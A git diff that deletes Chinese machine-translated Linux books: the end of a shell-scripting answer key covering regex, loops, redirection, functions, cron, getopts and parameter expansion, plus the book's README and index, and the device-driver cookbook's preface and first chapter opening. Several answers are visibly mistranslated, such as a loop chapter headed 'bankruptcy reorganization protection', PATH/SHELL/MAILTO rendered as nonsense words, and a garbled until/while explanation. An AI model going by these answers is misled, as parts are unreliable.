**在扩展的正则表达式语法中,有什么是可能的,而在 Bash 下的普通正则表达式是不可能的?** - * 一个或多个重复字符 - * 重复字符的准确数量 - * 重复字符的范围 - * 不止一个字符的变化 -9. **在决定使用`grep`还是`sed`之间,有什么好的经验法则?** - 如果你的目标只用一句`grep`就能实现,那就选择简约。如果无法以这种方式实现,请选择`sed`以获得更强大的语法。 - -10. **为什么 Linux/Bash 上的正则表达式这么难?** - 有很多不同的实现是相似的。对于正则表达式和它们的难点,这种混淆没有帮助。只有实践和经验才能弥补这一点! - -# 破产重组保护 - -1. **if-then(-else)语句如何结束?** - 同 if 字的反义词:`fi` -2. **如何在条件求值中使用正则表达式搜索模式?** - 通过使用=~比较符号。例如:`[[ ${var} =~ [[:digit:]] ]]` -3. **为什么我们需要`elif`这个关键词?** - 如果我们想连续测试多个条件,我们可以使用 else if ( `elif`)。 -4. **什么是*筑巢*?** - 在另一个 if-then-else 语句或循环中使用`if-then-else`语句或循环。 -5. **我们如何获得如何使用 shell 内置程序和关键字的信息?** - 通过使用命令`help`,后跟我们想要了解的内置或关键字。例如:`help [[` -6. **与`while`相反的关键词是什么?** - `until`。一个 while 循环运行,直到条件不再*为真,*一个 while 循环运行,直到条件不再*为假*。 -7. **为什么我们会选择 for 循环而不是 while 循环?** - `for`功能更强大,有许多方便的速记语法,用`while`很难或不可读。 -8. **什么是大括号展开,可以在哪些字符上使用?** - 大括号扩展允许我们编写非常短的代码,它基于 ASCII 字符生成一个空白分隔的列表。例如:`{1..10}`打印数字 1 到 10,中间有空格。我们也可以将它用于大写或小写字母,或者 ASCII 字符集中的任何范围。 -9. **哪两个关键词可以让我们对循环进行更精细的控制?** - `break`和`continue`。`break`停止当前循环,而`continue`跳到循环中的下一个迭代。 - -10. **如果我们是嵌套循环,我们如何利用循环控制从内部循环影响外部循环?** - 通过在`break`或`continue`关键字中添加一个大于 1 的数字。示例:`break 2`从内环和一个外环都存在。 - -# 第十二章 - -1. **什么是文件描述符?** - Linux 用作输入/输出接口的文件或设备的句柄。 -2. **术语 stdin、stdout 和 stderr 是什么意思?** - * 标准输入。用于输入命令。 - * 标准输出。用于命令的正常输出。 - * 标准误差。用于命令的错误输出。 -3. **如何将 stdin、stdout、stderr 映射到默认文件描述符?** - stdin 绑定到 fd0,stdout 绑定到 fd1,stderr 绑定到 fd2。 -4. **输出重定向`>`、`1>`和`2>`有什么区别?** - `>`和`1>`相等,指重定向 stdout。`2>`用于重定向 stderr。 -5. **`>`和`>>`有什么区别?** - `>`会覆盖已经有内容的文件,而`>>`会追加到文件中。 -6. **如何同时重定向 stdout 和 stderr?** - * 使用`&>`(和`&>>`) - * 通过将 stderr 绑定到 stdout,使用`2>&1` - * 通过管道`|&` -7. **哪些特殊器件可以作为输出黑洞?** - /dev/null 和/dev/zero。 -8. **管道在转向方面有什么作用?** - 它将一个命令的 stdout/stderr 绑定到另一个命令的 stdin。 -9. **我们如何向终端和日志文件发送输出?** - 通过管道传递`tee`命令,最好使用`|&`,这样 stdout 和 stderr 都会被转发。 -10. **这里的字符串的典型用例是什么?** - 如果我们想直接向命令的 stdin 提供输入,我们可以使用这里的字符串。`bc`就是一个很好的例子。 - -# 第十三章 - -1. **我们可以通过哪两种方式定义函数?** - * name() { - } - * 功能名称{ - } -2. **函数有哪些优点?** - * 易于重用的代码 - * 促进代码共享 - * 抽象复杂代码 -3. **全局作用域变量和局部作用域变量有什么区别?** - 局部范围的变量只在函数中有效,全局范围的变量可以在整个脚本中使用(甚至在函数中)。 -4. **如何设置变量的值和属性?** - 通过使用`declare`命令。 -5. **函数如何使用传递给它的参数?** - 同脚本一样可以:通过使用$1、$#、$@,等等。 -6. **如何从函数中返回值?** - 通过输出到 stdout。调用函数的命令应该知道使用命令替换来捕获输出。 -7. **命令做什么?** - 它从当前 shell 中的一个文件执行命令。如果源文件只包含函数定义,这些定义将被加载以供以后使用(但仍然只在当前 shell 中)。 -8. **我们为什么要创建函数库?** - 很多实用功能,比如参数检查、错误处理和颜色设置,永远不会改变,有时可能会很复杂。如果我们正确地执行了一次,我们就可以使用库中的预定义函数,而不需要复制旧脚本中的代码。 - -# 第十四章 - -1. **什么是调度?** - 调度允许我们定义脚本应该在何时以及如何运行,而不需要用户在那时进行交互。 -2. **临时调度是什么意思?** - 临时调度,我们通常在 Linux 上用`at`来做,是不定期重复的调度,但通常是固定时间的一次性作业。 -3. **正常运行`at`的命令输出到哪里?** - 默认情况下,`at`尝试使用`sendmail`向拥有队列/作业的用户发送本地邮件。如果没有安装 sendmail,输出就没有了。 -4. **最常见的`cron`守护进程的调度是如何实现的?** - 作为用户绑定的 crontab。 -5. **哪些命令允许您编辑个人 crontab?** - 命令`crontab -e`。此外,您可以使用`crontab -l`列出当前的 crontab,并使用`crontab -r`删除当前的 crontab。 -6. **crontab 时间戳语法中有哪五个字段?** - 1. 分钟 - 2. 小时 - 3. 每月的某一天 - 4. 年度月份 - 5. 星期几 -7. **crontab 最重要的三个环境变量是什么?** - 1. 小路 - 2. 壳 - 3. 邮向指示协议指示器 -8. **我们如何检查我们用`cron`安排的脚本或命令的输出?** - 我们既可以使用 crontab 中的重定向将输出写入文件,也可以使用 Linux 本地邮件功能将输出发送给我们。大多数情况下,将输出重定向到日志文件是可行的方法。 -9. **如果我们的调度脚本没有足够的输出来有效地处理日志文件,我们应该如何补救?** - 在脚本中的多个地方使用 echo 命令,向读者传达一个信息,即执行正在做预期的事情。例如:“步骤 1 已成功完成,正在继续。”“脚本执行很成功,正在退出。”。 - -# 第十五章 - -1. **为什么旗帜经常被用作*修改器*而位置参数被用作*目标*?** - Flags 经常修改行为:它可以让一个脚本或多或少变得冗长,或者可能把输出写在某个地方。通常,一个命令操作一个文件,该文件被认为是该命令实际试图达到的主要目标。 -2. **为什么我们在`while`循环中运行`getopts`?** - 所有标志都是按顺序解析的,当`getopts`找不到新的标志时,它会返回一个不同于 0 的退出代码,这将在正确的时刻退出`while`循环。 -3. **为什么我们需要一个?)在案件陈述中?** 我们不能相信用户可以一直正确使用所有的旗帜。?)匹配任何我们没有指定的标志,然后我们可以用它来通知用户不正确的用法。 -4. **为什么我们(有时)在案例陈述中需要一个:)?** 当 optstring 为一个选项指定了一个参数,但用户没有给出它时,就使用了:)。它允许您通知用户丢失的信息(此时您很可能会中止脚本)。 -5. **为什么我们需要一个单独的选项串,因为我们正在解决所有选项?** - 因为选项串会告诉`getopts`哪些选项有参数,哪些没有。 -6. **为什么我们在`shift`中使用 OPTIND 变量时需要减去 1?** OPTIND 变量总是指*下一个可能的索引*,这意味着它总是比找到的最终标志提前 1。因为我们只需要移开标志(它们被视为位置参数!),我们需要确保在换挡前将 OPTIND 降低 1。 -7. **将选项与位置参数混合是个好主意吗?** - 由于处理选项和位置参数的复杂性增加,通常最好将操作的*目标*指定为`-f`标志的标志参数;-f 几乎普遍被排除作为文件引用,这将始终被视为大多数操作的逻辑目标。 - -# 第十六章 - -1. **什么是*参数替代*?** 无非是运行时用当时的值替换变量名。 -2. **如何为我们定义的变量包含默认值?** - 使用${variable:-value}语法,其中*变量*是名称,*值*是默认值。仅当值为 null 或空(“”)时,才会使用此选项。 -3. **如何使用参数展开来处理缺失的参数值?** 虽然您通常会使用`if [[ -z ${variable} ]]; then`,但参数扩展允许您使用以下语法生成错误消息和`exit 1` : ${1:?未提供名称!} -4. **$ { # * }是做什么的?** 它与$#(我们用来确定传递给 shell 脚本的参数数量)相同。一般的${#name}语法允许我们获取*名称*变量的长度值。 -5. **谈到参数展开时*模式替换*是如何工作的?** *模式替换*允许我们通过搜索/替换一个*模式*来获取一个变量的值并稍微修改它。 -6. **图案去除与*图案替代*** **有何关联?** - 去掉一个图案就等于什么都不用替换一个图案。通过模式移除,我们从文本的开头(前缀)和结尾(后缀)获得了额外的搜索灵活性。在处理文件路径时,模式删除非常有用。 -7. **我们可以进行哪些类型的案例修改?** - * 用小写字体书写 - * Shell - * 翻转 Shell -8. **我们可以用哪两件事从变量的值中获取子串?** 我们需要一个*偏移量*,或者一个*长度*,或者两者的组合(最常见)。 \ No newline at end of file diff --git a/docs/learn-linux-shell-script/README.md b/docs/learn-linux-shell-script/README.md deleted file mode 100644 index 2d1e97d9..00000000 --- a/docs/learn-linux-shell-script/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Linux Shell 脚本学习手册 - -> 原文:[Learn Linux Shell Scripting](https://libgen.rs/book/index.php?md5=77969218787D4338964B84D125FE6927) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/learn-linux-shell-script/SUMMARY.md b/docs/learn-linux-shell-script/SUMMARY.md deleted file mode 100644 index d9112dfb..00000000 --- a/docs/learn-linux-shell-script/SUMMARY.md +++ /dev/null @@ -1,20 +0,0 @@ -+ [Linux Shell 脚本学习手册](README.md) -+ [零、前言](00.md) -+ [一、概述](01.md) -+ [二、设置您的本地环境](02.md) -+ [三、选择正确的工具](03.md) -+ [四、Linux 文件系统](04.md) -+ [五、了解 Linux 权限方案](05.md) -+ [六、文件操作](06.md) -+ [七、你好世界!](07.md) -+ [八、变量和用户输入](08.md) -+ [九、错误检查和处理](09.md) -+ [十、正则表达式](10.md) -+ [十一、条件测试和脚本循环](11.md) -+ [十二、在脚本中使用管道和重定向](12.md) -+ [十三、函数](13.md) -+ [十四、计划和记录](14.md) -+ [十五、使用`getopts`解析 Bash 脚本参数](15.md) -+ [十六、Bash 参数替换和扩展](16.md) -+ [十七、提示和技巧的备忘单](17.md) -+ [十八、答案](18.md) diff --git a/docs/linux-device-driver-dev-cb/00.md b/docs/linux-device-driver-dev-cb/00.md deleted file mode 100644 index f9c34fe8..00000000 --- a/docs/linux-device-driver-dev-cb/00.md +++ /dev/null @@ -1,319 +0,0 @@ -# 零、前言 - -内核设备驱动开发是复杂操作系统最重要的部分之一,这就是 Linux。对于在工业、家庭或医疗应用等真实环境中使用计算机作为监控或管理机器的开发人员来说,设备驱动非常重要。事实上,即使现在到处都广泛支持 Linux,每天都在创建新的外围设备,这些设备需要驱动才能在 GNU/Linux 机器上高效使用。 - -这本书将介绍一个完整的字符驱动(通常称为*字符驱动*)的实现,通过介绍所有必要的技术在内核和用户空间之间交换数据,实现与外围设备中断的进程同步,访问映射到(内部或外部)设备的输入/输出内存,并有效地管理内核中的时间。 - -本书介绍的所有代码都与 Linux 4.18+版本兼容(也就是说,与最新的 5.x 内核兼容)。该代码可以在 Marvell ESPRESSObin 上进行测试,该设备具有板载 ARM 64 位 CPU,但也可以使用任何其他类似的 GNU/Linux 嵌入式设备。通过这种方式,读者可以验证他们所阅读的内容是否被正确理解。 - -# 这本书是给谁的 - -如果你想了解如何在 Linux 机器上实现一个完整的角色驱动,或者了解几种内核机制是如何工作的(比如工作队列、完成和内核定时器等等),以便更好地理解通用驱动是如何工作的,那么这本书就是为你准备的。 - -如果你需要知道如何编写一个定制的内核模块,如何向它传递参数,或者如何读取和更好地管理内核消息,甚至如何向内核源代码中添加定制代码,那么这本书就是为你而写的。 - -如果你需要更好地理解一个设备树,如何修改它,甚至如何编写一个新的设备树来满足你的需求,并学习如何管理你的新设备驱动,那么你也会从这本书中受益。 - -# 这本书涵盖了什么 - -[第一章](01.html)、*安装开发系统*,介绍了如何安装基于 Ubuntu 18.04.1 LTS 的完整开发系统,以及基于 Marvell ESPRESSObin 板的完整测试系统。本章还将介绍如何使用串行控制台以及如何从头开始重新编译内核,并将教您一些执行交叉编译和软件仿真的技巧。 - -[第 2 章](02.html)、*内核内部一瞥*,讨论如何创建自定义内核模块,以及如何读取和管理内核消息。这两种技能对于帮助开发人员理解内核内部发生的事情都非常有用。 - -[第三章](03.html)*使用字符驱动*,研究如何实现一个真正简单的字符驱动,以及如何在它和用户空间之间交换数据。本章最后提出了一些例子来强调*一切都是针对设备驱动的文件*抽象。 - -[第四章](04.html)*使用设备树*,呈现设备树。读者将学习如何阅读和理解它,如何编写自定义设备树,然后如何编译它,以便获得可以传递给内核的二进制形式。本章以下载固件(在外围设备中)和如何使用引脚多路复用工具配置中央处理器引脚的一节结束。使用 Armada 3720、i.Mx 7Dual 和 SAMA5D3 处理器提供了示例。 - -[第 5 章](05.html)、*管理中断和并发*,介绍如何在 Linux 内核中管理中断和并发。它展示了如何安装中断处理程序,如何将作业推迟到以后,以及如何管理内核定时器。在这一章的最后,读者将学习如何等待一个事件(例如等待一些数据被读取)以及如何保护他们的数据免受竞争条件的影响。 - -[第 6 章](06.html)、*杂项内核内部*,讨论了如何在内核内部动态分配内存,以及如何使用几个对日常编程操作有用的助手函数(如字符串操作、列表和哈希表操作)。本章还将介绍如何进行输入/输出内存访问,以及如何安全地在内核中花费时间来创建定义明确的繁忙循环延迟。 - -[第 7 章](07.html)、*高级字符驱动操作*,介绍了字符驱动可用的所有高级操作:`ioctl()`、`mmap()`、`lseek()`、`poll()` / `select()`系统调用实现,以及通过`SIGIO`信号的异步输入/输出。 - -[附录 A](08.html) 、*附加信息:使用字符驱动*,这包含第 3 章的附加信息。 - -[附录 B](09.html) 、*附加信息:使用设备树*,这包含第 4 章的附加信息。 - -[附录 C](10.html) 、*附加信息:管理中断和并发*,这包含第 5 章的附加信息。 - -[附录 D](11.html) 、*附加信息:其他内核内部组件*,包含第 6 章的附加信息。 - -[附录 E](12.html) 、*附加信息:高级字符驱动操作*,包含第 7 章的附加信息。 - -# 充分利用这本书 - -* 你应该对非图形文本编辑器有一点了解,比如`vi`、`emacs`或者`nano`。你不能将液晶显示器、键盘和鼠标直接连接到嵌入式工具包来对文本文件进行小的修改,所以你应该对这些工具有工作知识来远程进行这样的修改。 -* 你应该知道如何管理一个 Ubuntu 系统,或者至少是一个通用的基于 GNU/Linux 的系统。我的主机运行在 Ubuntu 18.04.1 LTS 上,但是你也可以使用一个更新的 Ubuntu LTS 版本,或者一个基于 Debian 的系统,只需要做一些修改。您也可以使用另一个 GNU/Linux 发行版,但是这需要您付出一点努力,主要是关于交叉编译工具、库依赖项和包管理的安装。 - 国外的系统,比如 Windows、macOS 等,不在本书的涵盖范围之内,因为你不应该用低技术的系统去开发高技术系统的代码! -* C 编程语言的工作知识,C 编译器如何工作,以及如何管理 makefile 都是强制性要求。 - -# 下载示例代码文件 - -你可以从你在[www.packt.com](http://www.packt.com)的账户下载这本书的示例代码文件。如果您在其他地方购买了这本书,您可以访问[www.packt.com/support](http://www.packt.com/support)并注册将文件直接通过电子邮件发送给您。 - -您可以按照以下步骤下载代码文件: - -1. 登录或注册[www.packt.com](http://www.packt.com)。 -2. 选择“支持”选项卡。 -3. 点击代码下载和勘误表。 -4. 在搜索框中输入图书的名称,并按照屏幕指示进行操作。 - -下载文件后,请确保使用最新版本的解压缩文件夹: - -* 视窗系统的 WinRAR/7-Zip -* zipeg/izp/un ARX for MAC -* 适用于 Linux 的 7-Zip/PeaZip - -这本书的代码包托管在 GitHub 上[https://GitHub . com/giometti/Linux _ device _ driver _ development _ cook book](https://github.com/giometti/linux_device_driver_development_cookbook)。如果代码有更新,它将在现有的 GitHub 存储库中更新。 - -这本书的代码包也托管在 GitHub 上[https://GitHub . com/PacktPublishing/Linux-设备-驱动-开发-Cookbook](https://github.com/PacktPublishing/Linux-Device-Driver-Development-Cookbook) 。如果代码有更新,它将在现有的 GitHub 存储库中更新。 - -我们还有来自丰富的图书和视频目录的其他代码包,可在**[【https://github.com/PacktPublishing/】](https://github.com/PacktPublishing/)**获得。看看他们! - -# 下载彩色图像 - -我们还提供了一个 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。可以在这里下载:[https://www . packtpub . com/sites/default/files/downloads/9781838558802 _ color images . pdf](https://www.packtpub.com/sites/default/files/downloads/9781838558802_ColorImages.pdf)。 - -# 使用的约定 - -本书通篇使用了许多文本约定。 - -文本文件夹名称、文件名、文件扩展名、路径名、伪 URL 和用户输入中的代码如下所示:“要获取前面的内核消息,我们可以同时使用`dmesg`和`tail -f /var/log/kern.log`命令。” - -代码块设置如下: - -```sh -#include - -int main(int argc, char *argv[]) -{ - printf("Hello World!\n"); - - return 0; -} -``` - -您应该注意到,本书中的大多数代码都有 4 个空格的缩进,而您可以在 GitHub 或 Packt 网站上随本书提供的文件中找到的示例代码使用了 8 个空格的缩进。因此,前面的代码如下所示: - -```sh -#include - -int main(int argc, char *argv[]) -{ - printf("Hello World!\n"); - - return 0; -} -``` - -显然,它们在实践中是完全等价的! - -本书中使用的嵌入式工具包的任何命令行输入或输出如下所示: - -```sh -# make CFLAGS="-Wall -O2" helloworld -cc -Wall -O2 helloworld.c -o helloworld -``` - -命令以粗体显示,而它们的输出是普通文本。您还应该注意到,由于空间限制,提示字符串已被删除;事实上,在您的终端上,完整的提示应该如下所示: - -```sh -root@espressobin:~# make CFLAGS="-Wall -O2" helloworld -cc -Wall -O2 helloworld.c -o helloworld -``` - -还要注意,由于书中的空间限制,您可能会遇到非常长的命令行,如下所示: - -```sh -$ make CFLAGS="-Wall -O2" \ - CC=aarch64-linux-gnu-gcc \ - chrdev_test -aarch64-linux-gnu-gcc -Wall -O2 chrdev_test.c -o chrdev_test -``` - -否则,我不得不中断命令行。但是,在某些特殊情况下,您会发现中断的输出行(尤其是在内核消息上),如下所示: - -```sh -[ 526.318674] mem_alloc:mem_alloc_init: kmalloc(..., GFP_KERNEL) =ffff80007982f -000 -[ 526.325210] mem_alloc:mem_alloc_init: kmalloc(..., GFP_ATOMIC) =ffff80007982f -000 -``` - -不幸的是,这些行不容易在印刷的书中复制,但你应该把它们视为一行。 - -作为非特权用户,在我的主机上给出的任何命令行输入或输出如下所示: - -```sh -$ tail -f /var/log/kern.log -``` - -当我需要在我的主机上以特权用户(root)的身份给出命令时,命令行输入或输出将如下所示: - -```sh -# insmod mem_alloc.ko -``` - -您应该注意到,所有特权命令也可以由普通用户通过使用以下格式的`sudo`命令来执行: - -```sh -$ sudo -``` - -因此,正常用户可以执行上述命令,如下所示: - -```sh -$ sudo /insmod mem_alloc.ko -``` - -# 内核和日志消息 - -在几个 GNU/Linux 发行版上,内核消息有这种常见的形式: - -```sh -[ 3.421397] mvneta d0030000.ethernet eth0: Using random mac address 3e:a1:6b: -f5:c3:2f -``` - -对于这本书来说,这是相当长的一行,所以这就是为什么我们从每一行的开头到真正的信息开始的地方都去掉了字符。因此,在前面的示例中,行输出将报告如下: - -```sh -mvneta d0030000.ethernet eth0: Using random mac address 3e:a1:6b:f5:c3:2f -``` - -不过,前面已经说了,如果线还是太长,反正是会断的。 - -长输出,或终端中重复或不太重要的行,通过用三个点`...`替换它们来丢弃,如下所示: - -```sh -output begin -output line 1 -output line 2 -... -output line 10 -output end -``` - -当这三个点在一行的末尾时,这意味着输出继续,但出于空间原因,我决定剪切它。 - -# 文件修改 - -当您应该修改文本文件时,我将使用*统一上下文差异*格式,因为这是表示文本修改的一种非常高效和紧凑的方式。这种格式可以通过使用带有`-u`选项参数的`diff`命令获得,或者通过使用`git`存储库中的`git diff`命令获得。 - -举个简单的例子,让我们考虑一下`file1.old`中的以下文本: - -```sh -This is first line -This is the second line -This is the third line -... -... -This is the last line -``` - -假设我们必须修改第三行,如下面的代码片段所示: - -```sh -This is first line -This is the second line -This is the new third line modified by me -... -... -This is the last line -``` - -您很容易理解,每次报告整个文件进行简单的修改是不必要的,并且会占用空间;但是,通过使用*统一上下文 diff* 格式,前面的修改可以写成如下: - -```sh -$ diff -u file1.old file1.new ---- file1.old 2019-05-18 14:49:04.354377460 +0100 -+++ file1.new 2019-05-18 14:51:57.450373836 +0100 -@@ -1,6 +1,6 @@ - This is first line - This is the second line --This is the third line -+This is the new third line modified by me - ... - ... - This is the last line -``` - -现在修改的很清晰,写的很紧凑!它以两行标题开始,其中原始文件以`---`开头,新文件以`+++`开头。然后,它跟随文件中包含行差的一个或多个变更块。前面的例子只有一个大块,其中未更改的行前面有一个空格字符,而要添加的行前面有一个`+`字符,要删除的行前面有一个`-`字符。 - -尽管如此,由于篇幅的原因,本书复制的大多数补丁都减少了缩进,以适应打印页面的宽度;然而,它们仍然是完全可读的。对于完整的补丁,您应该参考 GitHub 或 Packt 网站上提供的文件。 - -# 串行和网络连接 - -在本书中,我将主要使用两种不同的连接来与嵌入式工具包交互:串行控制台,以及 SSH 终端和以太网连接。 - -串行控制台通过 USB 连接实现,主要用于从命令行管理系统。它主要用于监控系统,尤其是控制内核消息。 - -SSH 终端与串行控制台非常相似,即使不完全相同(例如,内核消息不会自动出现在终端上),但它可以以与串行控制台相同的方式使用,从命令行提供命令和编辑文件。 - -在这几章中,我将在串行控制台上或通过 SSH 连接使用终端来提供实现本书中解释的所有原型所需的大多数命令和配置设置。 - -要从主机访问串行控制台,您可以使用`minicon`命令,如下所示: - -```sh -$ minicom -o -D /dev/ttyUSB0 -``` - -但是在[第一章](01.html)、*安装开发系统*中,这些方面都有说明,大家不用担心。还要注意,在某些系统上,您可能需要 root 权限才能访问`/dev/ttyUSB0`设备。在这种情况下,您可以通过使用`sudo`命令来解决此问题,或者更好的方法是使用以下命令将您系统的用户正确添加到正确的组中: - -```sh -$ sudo adduser $LOGNAME dialout -``` - -然后注销并再次登录,您应该可以毫无问题地访问串行设备。 - -要访问 SSH 终端,您可以使用以太网连接。它主要用于从主机或互联网下载文件,可以通过将以太网电缆连接到嵌入式套件的以太网端口,然后根据读者的局域网设置配置相应的端口来建立(参见[第 1 章](01.html)、*安装开发系统*中的所有说明)。 - -# 其他公约 - -**粗体**:表示一个新的术语、一个重要的单词或者你在屏幕上看到的单词。例如,菜单或对话框中的单词像这样出现在文本中。下面是一个示例:“从管理面板中选择系统信息。” - -Warnings or important notes appear like this. Tips and tricks appear like this. - -# 部分 - -在这本书里,你会发现几个经常出现的标题(*准备*,*怎么做...*、*它是如何工作的...*、*还有更多...*和*参见*。 - -要给出如何完成配方的明确说明,请使用以下章节: - -# 准备好了 - -本节告诉您配方中的预期内容,并描述如何设置配方所需的任何软件或任何初步设置。 - -# 怎么做… - -本节包含遵循配方所需的步骤。 - -# 它是如何工作的… - -这一部分通常包括对前一部分发生的事情的详细解释。 - -# 还有更多… - -本节包含关于配方的附加信息,以便您更好地了解配方。 - -# 请参见 - -本节提供了该配方的其他有用信息的有用链接。 - -# 取得联系 - -我们随时欢迎读者的反馈。 - -**一般反馈**:如果你对这本书的任何方面有疑问,在你的信息主题中提到书名,发邮件给我们`customercare@packtpub.com`。 - -**勘误表**:虽然我们已经尽了最大的努力来保证内容的准确性,但是错误还是会发生。如果你在这本书里发现了一个错误,如果你能向我们报告,我们将不胜感激。请访问[www.packt.com/submit-errata](http://www.packt.com/submit-errata),选择您的图书,点击勘误表提交链接,并输入详细信息。 - -**盗版**:如果您在互联网上遇到任何形式的我们作品的非法拷贝,如果您能提供我们的位置地址或网站名称,我们将不胜感激。请通过`copyright@packt.com`联系我们,并提供材料链接。 - -**如果你有兴趣成为一名作者**:如果有一个你有专长的话题,你有兴趣写或者投稿一本书,请访问[authors.packtpub.com](http://authors.packtpub.com/)。 - -# 复习 - -请留下评论。一旦你阅读并使用了这本书,为什么不在你购买它的网站上留下评论呢?然后,潜在的读者可以看到并使用您不带偏见的意见来做出购买决定,我们在 Packt 可以了解您对我们产品的看法,我们的作者可以看到您对他们的书的反馈。谢谢大家! - -更多关于 Packt 的信息,请访问[packt.com](http://www.packt.com/)。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/01.md b/docs/linux-device-driver-dev-cb/01.md deleted file mode 100644 index 5c618ddf..00000000 --- a/docs/linux-device-driver-dev-cb/01.md +++ /dev/null @@ -1,967 +0,0 @@ -# 一、安装开发系统 - -在这一章中,我们将介绍和建立我们的工作平台。事实上,即使我们在工作的 PC 上编写然后测试自己的设备驱动,也建议使用第二个设备来测试代码。这是因为我们将在内核空间工作,即使是一个小错误也会导致严重的故障!此外,使用一个有多种外设可用的平台,我们可以测试各种各样的设备,而这些设备在电脑上并不总是可用的。当然,您可以自由使用自己的系统来编写和测试驱动,但是,在这种情况下,您应该注意进行必要的修改以符合您的电路板规格。 - -在这本书里,我要用的是 **Marvell ESPRESSObin** 系统,这是一款功能强大的**高级 RISC Machines**(**ARM**)64 位机,有很多有趣的功能。在下图中,您可以看到信用卡旁边的 ESPRESSObin,并可以了解主板的真实尺寸: - -![](img/4cd2a298-bcef-4ffd-8782-d274bab23e70.png) - -我的板是 ESPRESSObin 的 v5 版本,而在撰写本文时(2018 年 9 月宣布)的最新版本是 v7,所以读者应该可以在本书出版时获得这个新版本。新的 ESPRESSObin v7 将采用 1GB DDR4 和 2GB DDR4 配置(而 v5 具有 DDR3 RAM 芯片),新的 1.2GHz 芯片组将取代目前销售的配置,后者具有 800MHz 和 1GHz CPU 频率限制。即使快速查看一下新的主板布局,我们也可以看到,单个 SATA 连接器已经取代了现有的 SATA 电源和接口的两件式组合,LED 布局现在已连续重新排列,并且板载 eMMC 现已就位。此外,这一新版本将附带可选的 802.11ac +蓝牙 4.2 迷你 PCIe 无线网卡,单独出售。 - -Lastly, you will now have the option to order your v7 ESPRESSObin with a complete enclosure. This product has FCC and CE certifications to help to enable mass deployment. Further information regarding the revision v7 (and v5) can be found at [http://wiki.espressobin.net/tiki-index.php?page=Quick+User+Guide](http://wiki.espressobin.net/tiki-index.php?page=Quick+User+Guide). - -为了测试我们的新驱动,我们将在第一章中介绍以下方法: - -* 设置主机 -* 使用串行控制台 -* 配置和构建内核 -* 设置目标机器 -* 在外部硬件上进行本机编译 - -# 技术要求 - -以下是一些有趣的网址,我们可以从中获得有关该板的有用技术信息: - -* 主页:[http://espressobin.net/](http://espressobin.net/) -* 文档维基:[http://wiki.espressobin.net/tiki-index.php](http://wiki.espressobin.net/tiki-index.php) -* 论坛:[http://espressobin.net/forums/](http://espressobin.net/forums/) - -看看[http://espressobin.net/tech-spec/](http://espressobin.net/tech-spec/)的技术规格,我们可以获得以下信息,从中我们可以看到 ESPRESSObin v5 在计算能力、存储、网络和可扩展性方面可以提供什么: - -| **片上系统** ( **SoC** ) | Marvell Armada 3700LP (88F3720)双核 ARM Cortex A53 处理器,最高 1.2GHz | -| 系统内存 | 1 GB DDR3 或可选的 2GB DDR3 | -| 仓库 | 1x SATA 接口 -1x 微型 SD 卡插槽,可容纳可选的 4GB EMMC | -| 网络连接 | 1x Topaz 网络交换机 -2x 千兆以太网局域网 -1x 以太网广域网 -1x MiniPCIe 插槽,用于无线/BLE 外围设备 | -| 通用串行总线 | 1 个 USB 3.0 -1 个 USB 2.0 -1 个微型 USB 端口 | -| 膨胀 | 2x 46 针 GPIO 头,用于配件和屏蔽,带 I2C、GPIOs、PWM、UART、SPI、MMC 等。 | -| 混杂的 | 复位按钮和 JTAG 界面 | -| 电源 | 12V DC 插孔或 5V 通过微型通用串行总线端口 | -| 功率消耗 | 1 GHz 时散热小于 1W | - -特别是,下面的截图显示了 Marvell ESPRESSObin v5 的俯视图(从现在开始,请考虑到我不再明确添加“v5”了): - -![](img/c50fb9d8-fdad-4677-ab8b-5931067dcbb2.png) - -在前面的截图中,我们可以看到以下组件: - -* 电源连接器(12V DC 插孔) -* 复位开关 -* 微型通用串行总线设备端口(串行控制台) -* 以太网端口 -* 通用串行总线主机端口 - -下一张截图显示了 microSD 插槽所在的电路板的仰视图;这是我们应该插入我们将在本章后面创建的 microSD 的地方: - -![](img/2a93e27f-64bf-41e2-99b0-d6164c1bc1db.png) - -在本书中,我们将看到如何管理(并重新安装)一个完整的 Debian 发行版,这将允许我们拥有一系列现成的软件包,就像在普通 PC 中一样(事实上,Debian ARM64 版本相当于 Debian x86 版本)。之后,我们将为该板开发我们的设备驱动,然后,如果可能的话,我们将使用连接到 ESPRESSObin 本身的真实设备来测试它们。本章还提供了一个关于如何设置主机系统的小教程,您可以使用它来设置一个基于 GNU/Linux 的工作机器或一个专用的虚拟机器。 - -本章使用的代码和其他文件可以在[https://GitHub . com/gio metti/Linux _ device _ driver _ development _ cook book/tree/master/chapter _ 01](https://github.com/giometti/linux_device_driver_development_cookbook/tree/master/chapter_01)下载。 - -# 设置主机 - 